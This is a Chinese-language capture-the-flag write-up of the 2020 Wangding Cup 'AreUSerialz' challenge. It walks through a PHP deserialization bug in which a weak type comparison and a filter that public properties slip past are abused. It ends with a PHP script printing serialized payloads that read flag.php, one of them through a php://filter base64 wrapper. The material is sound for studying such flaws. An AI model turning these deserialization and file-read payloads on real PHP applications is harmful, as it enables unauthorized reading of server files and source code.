首页 > 技术文章 > [网鼎杯 2020 青龙组]AreUSerialz

ersuani 2020-11-26 14:13 原文

对整个代码进行审计之后,其实很明显的,在代码的最后一部分中传入str参数后,对字符串进行反序列化操作。

因为这不是在创建一个对象所以不会触发他的构造方法construct(),而是通过在销毁对象时触发他的destruct(),进入关键代码的。来看一下关键代码:

这里需要注意的关键点是,if($this->op === "2") 对op的判断用的是===,三个等号强类型比较。我们可以通过传入一个数字2来绕过这个判断。

 //魔术方法 destruct() 在结束时销毁对象调用
    function __destruct() {
        //判断op的值,如果op的值为2,就让op值为1,并设置$content值为空串,调用process()
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

可以确定的是,我们这里需要通过read()方法读取flag.php,在文件的开头就有通过include(flag.php)包含到该文件。因此呢,我们需要给$op传入的值为2

read()方法就像对简单了,只要求$filename不为空,就通过file_get_contents()方法去取文件,也正是由此读取flag.php。

 public function process() {
        //如果 op=1 就调用write()方法
        //如果 op=2 就给$res赋值为read()方法执行结果,并调用输出方法输出$res
        //否则就输出hacker
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    //自定义方法read()
    private function read() {
        //先设置$res为空字符串
        $res = "";
        //判断$filename是否为空,不为空就读取文件,将读出来的字符串存放在$res中
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        //返回$res
        return $res;
    }

看一下这个自定义方法,这部分通过代for循环对传进来的参数的每一位进行判断,要求其每一位的ascii值必须在32-125之间,为什么会强调这里呢?是因为这个FileHandler类中的变量全部都是protected的,在对其对象进行序列化时,protected权限的属性会在属性名前加上%00*%00来表示这个权限,而%00的ascii码为0,就无法通过is_valid()方法的检验。

对于这种情况,有几种绕过的方法,其中简单的一种就是,php7.1+版本对属性的类型不敏感,因此在本地序列化时,可以将其属性改成public的就可以绕过。

//自定义方法 is_valid
function is_valid($s) {
    //要求传入的参数$s的每一位的ascii值必须在32-125之间,空格----}
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

最后呢,附上本地的序列化payload

这里filename给了两种不同的值,

其一,是直接传入文件的名字,通过read()方法,将文件以字符串形式读取。

其二,因为file_get_contents()是支持php伪协议的,所以传入filter的伪协议,将flag.php的源码以base64的形式读取出来。

<?php
class FileHandler {
    public $op;
    public $filename;
    public $content;
    function __construct($op,$filename,$content) {
        $this->op=$op;
        $this->filename=$filename;
        $this->content=$content;
    }

}

$a = new FileHandler(2,'flag.php','');
$b = new FileHandler(2,'php://filter/read=convert.base64-encode/resource=flag.php','');
echo serialize($a);
echo "<br>";
echo serialize($b);

 

推荐阅读